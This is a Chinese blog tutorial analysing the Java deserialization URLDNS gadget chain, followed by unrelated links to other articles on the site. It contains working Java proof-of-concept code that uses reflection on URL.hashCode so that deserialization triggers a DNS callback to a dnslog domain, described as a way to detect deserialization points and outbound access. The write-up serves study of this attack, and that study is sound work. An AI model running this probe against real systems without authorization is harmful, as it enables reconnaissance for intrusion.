Java安全 反序列化(1) URLDNS链原理分析

Java安全 反序列化(1) URLDNS链原理分析

文章目录

  • Java安全 反序列化(1) URLDNS链原理分析
    • 前置知识
    • 应用
    • 分析payload
      • 1.新建HashMap类
      • 2.新建URL类
      • 3.获取URL 的 Class对象
      • 4.通过反射访问URL内部变量
      • 5.通过反射为URL中类赋值
      • 6.调用HashMap#put方法传入key和value
      • 7.再次通过反射为URL类的hashcode赋值
    • 原理分析
      • 1.进行序列化
      • 2.跟进HashMap的readobject方法
      • 3.跟进hash方法
      • 4.可以跟进URL的hashCode方法
      • 5.跟进handler.hashCode方法
    • 细节问题
      • 为什吗要给URL类hashCode赋值两次?

开始学习Java反序列化链–URLDNS

前置知识

请提前了解Java序列化和反序列化,熟悉Java反射机制

应用

1.判断是否存在反序列化的点

2.判断目标是否出网

先上payload 后进行分析

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap =new HashMap();URL url = new URL("http://wxzzwpgygc.dgrh3.cn");Class c = url.getClass();Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}
}

image-20240315190036643

可以触发dns请求

分析payload

1.新建HashMap类

 HashMap hashmap =new HashMap();

什么是HashMap:

基于哈希表的实现的Map接口
在这里插入图片描述

我们简单理解为 URLDNS链的入口类,知道这个东西就行了

2.新建URL类

 URL url = new URL("http://wxzzwpgygc.dgrh3.cn");

3.获取URL 的 Class对象

 Class c = url.getClass();

用于操作反射

4.通过反射访问URL内部变量

 Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);

5.通过反射为URL中类赋值

 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1

6.调用HashMap#put方法传入key和value

hashmap.put(url,2);

hashmap.put(key,value)

key 为前面新建的url类

value 为任意值

7.再次通过反射为URL类的hashcode赋值

fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询

赋值URL类中的hashcode为-1

触发dns请求,完成访问

原理分析

1.进行序列化

 public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}serialize(hashmap); //传入的obj为hashmap

image-20240315190440069

那么反序列化会自动触发HashMap的readobject方法

我们可以调试分析一下

Ctrl-B跟进实现原理

2.跟进HashMap的readobject方法

image-20240315191405977

在方法的最后调用了hash方法

image-20240315192007607

3.跟进hash方法

image-20240315192116541

进行判断只要key不为空

就 调用 key的hashCode()方法

我们传入的key是URL类的对象

所以调用的是URL#hashCode方法

4.可以跟进URL的hashCode方法

image-20240315192342511

只有hashCode为-1 时

会进入hashCode = handler.hashCode(this); this为当前对象的引用

5.跟进handler.hashCode方法

image-20240315192658793

我们在新建URL类时 传入了我们的dnslog地址

getHostAddress进行DNS解析,完成请求

细节问题

为什吗要给URL类hashCode赋值两次?

 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询

第一次查询的时候会进行缓存触发dns请求,将URL.hashCode设置为-1,put时触发dns请求,我们可以做个实验

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap =new HashMap();URL url = new URL("http://rcjynkewns.dgrh3.cn");
//        Class c = url.getClass();
//        Field fieldhashcode=c.getDeclaredField("hashCode");
//        fieldhashcode.setAccessible(true);
//        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);
//        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
//        serialize(hashmap);
//        unserialize();}
//    public static void serialize(Object obj) throws IOException {
//        ObjectOutputStream oos = new ObjectOutputStream(new
//                FileOutputStream("ser.bin"));
//        oos.writeObject(obj);
//        oos.close();
//    }
//    public static void unserialize() throws IOException, ClassNotFoundException
//    {
//        ObjectInputStream ois = new ObjectInputStream(new
//                FileInputStream("ser.bin"));
//        ois.readObject();
//        ois.close();
//    }
//}

只留下了hashmap的put方法

image-20240315193323871

image-20240315193452950

可以发现照样触发

为了避免误判

我们先将URL.hashCode属性赋值为 只要不是-1的值

hashmap.put()方法后

再通过反射修改URL.hashCode属性为-1 完成请求

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/754807.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

铝壳电阻的工艺结构原理及选型参数总结

🏡《总目录》 目录 1,概述2,工作原理3,结构特点4,工艺流程4.1,原材料准备4.2,点胶4.3,高温烘烤4.4,组合4.5,焊接4.6,表面处理4.7,电气性能测试5,选型参数5.1,阻值(Resis

ocp考试是中文还是英文?ocp认证好考吗

ocp认证是中文还是英文考试ocp认证的考试常用语种是英文,除开英文之外还有日语等语种,但是目前没有中文(12c的时候有过中文考试),所以考生最好具有一定的英语水平再报名参加考试,ocp认证考试的形式为机试,考试的题型全…

面向未来的前沿人工智能监管

策制定者应该为未来十年人工智能系统更加强大的世界做好准备。这些发展可能会在人工智能科学没有根本性突破的情况下发生,只需扩展当今的技术以在更多数据和计算上训练更大的模型即可。 用于训练前沿人工智能模型的计算量在未来十年可能会显着增加。到 2020 年代末…

kafka什么情况下会认为发送失败进而去重试

在Kafka中,发送消息的过程是异步的,即消息后不会立即得到发送结果。Kafka会将消息添加到发送缓冲区,并立即返回一个成功的响应。因此,Kafka并不会直接知道消息是否成功发送到了目标主题的分区。 Kafka在以下情况下会认为发送失败…

03.生命周期和工程化开发入门

一、Vue生命周期 思考:什么时候可以发送初始化渲染请求?(越早越好)什么时候可以开始操作dom?(至少dom得渲染出来) Vue生命周期:就是一个Vue实例从创建 到 销毁 的整个过程。 生命…

【Linux】日常使用命令(三)

文章目录 **cal 命令****date 命令****bc 命令****Linux下玩小游戏**: cal 命令 功能描述: cal 命令用于显示日历。 常用选项: -3:显示前一个月、当前月和下一个月的日历。-y:显示整年的日历。 常用示例: # 示例 1: 显示当前月的日历 cal# …

MyBatis3源码深度解析(十四)SqlSession的创建与执行(一)Configuration与SqlSession的创建过程

文章目录 第五章 SqlSssion的创建过程前言5.1 XPath方法解析XML文件5.1.1 XPath的基本用法5.1.2 MyBatis使用XPathParser工具类 5.2 Configuration实例创建过程5.3 SqlSession实例创建过程 第五章 SqlSssion的创建过程 前言 MyBatis的核心组件之一SqlSession对象,…

python知识点总结(四)

这里写目录标题 1、Django 中的缓存是怎么用的?2、现有2元、3元、5元共三种面额的货币,如果需要找零99元,一共有多少种找零的方式?3、代码执行结果4、下面的代码执行结果为:5、说一下Python中变量的作用域。6、闭包7、python2与p…

css属性选择器总结

属性选择器 属性选择器在 CSS2 中就已经被引入,并且在 CSS3 及更高版本中仍然被广泛使用,因为它们提供了一种灵活且强大的方式来选择具有特定属性的元素。 [attr]: 是一个属性选择器,用于选择具有指定属性的所有元素,…

发票OCR-国税可进行的发票查验种类-接口文档

发票查验内容包括发票种类名称、发票代码、发票号码、金额、销售方名称、购买方名称等信息。可以在国家税务总局全国增值税发票查验平台上进行查验,也可以进入发票所属省、直辖市税务局官方网站的“我要查询-发票查询”模块进行查验,企业也可以通过发…

二叉树遍历(牛客网)

描述 编一个程序,读入用户输入的一串先序遍历字符串,根据此字符串建立一个二叉树(以指针方式存储)。 例如如下的先序遍历字符串: ABC##DE#G##F### 其中“#”表示的是空格,空格字符代表空树。建立起此二叉树…

LeetCode_29_中等_两数相除

文章目录 1. 题目2. 思路及代码实现详解(Python)2.1 位运算与二分查找 1. 题目 给你两个整数,被除数 d i v i d e n d dividend dividend 和除数 d i v i s o r divisor divisor。将两数相除,要求 不使用 乘法、除法和取余运算…

20240318uniapp怎么引用组件

在script中增加 import index from "/pages/index/index.vue" 把index直接整个作为一个组件引入 然后注册组件 在export default中增加 components: {index:index }, 注册了index组件&#xff0c;内容为import的index 然后就可以在template里使用 <index&…

机器人可反向驱动能力与力控架构

反向驱动性是电机传动系统的机械特性&#xff0c;它描述了运动是否可以轻松反转 。特别是&#xff0c;反向驱动能力取决于两个因素&#xff1a;传动运动效率和整体执行器机械阻抗。反向运动中传动装置的低运动效率意味着所施加的外力的大部分被运动反作用力抵消。然而&#xff…

Ubuntu 搭建gitlab服务器,及使用repo管理

一、GitLab安装与配置 GitLab 是一个用于仓库管理系统的开源项目&#xff0c;使用Git作为代码管理工具&#xff0c;并在此基础上搭建起来的Web服务。 1、安装Ubuntu系统&#xff08;这个教程很多&#xff0c;就不展开了&#xff09;。 2、安装gitlab社区版本&#xff0c;有需…

arm32机器的ubuntu1804的源突然不能update了

换成x86的官方源不行: Hit:1 http://archive.canonical.com/ubuntu bionic InRelease Get:2 http://archive.ubuntu.com/ubuntu bionic InRelease [242 kB] Get:3 http://archive.ubuntu.com/ubuntu bionic-updates InRelease [88.7 kB] Get:4 http://archive.ubuntu.com/ubu…

GAMES101 学习 2

Lecture 7&#xff1a;Shading 1(lllumination,Shading and Graphics Pipeline) Visibility / occlusion 解决可见性和遮挡的问题 可见性&#xff0c;Z-buffering Z-Buffer 深度缓存 Idea&#xff1a; Store current min. z-value for each sample (pixel)Needs an additi…

python学习3:unittest测试框架初学习

python内置测试框架 unittest&#xff08;xUnit家族成员 参考JUnit&#xff09;doctest&#xff1a; 假设被测试目标: def add(a,b):c a breturn c创建一个"test_同名"的文件夹 基本用法 1 创建测试用例 1 定义TestCase的子类 2 定义test_开头的方法 3 在方法…

vue-resource发送请求

导入依赖 终端输入 npm i vue-resource 使用插件 在main.js中应用插件 import Vue from "vue"; import App from "./App.vue" //引入插件 import vueResource from "vue-resource"; //使用插件 Vue.use(vueResource)new Vue({el:#app,render:h…

k8s工作节点主要模块

背景 k8s集群的worker节点作为主要的pod容器的运行节点&#xff0c;其上面有两个非常核心的模块组件&#xff0c;本文就来简单了解下 k8s工作节点主要模块 1.kublet组件&#xff0c;这个组件运行在工作节点上 1.1 它是一个负责这个节点所有pod运行的指挥官的角色&#xff0…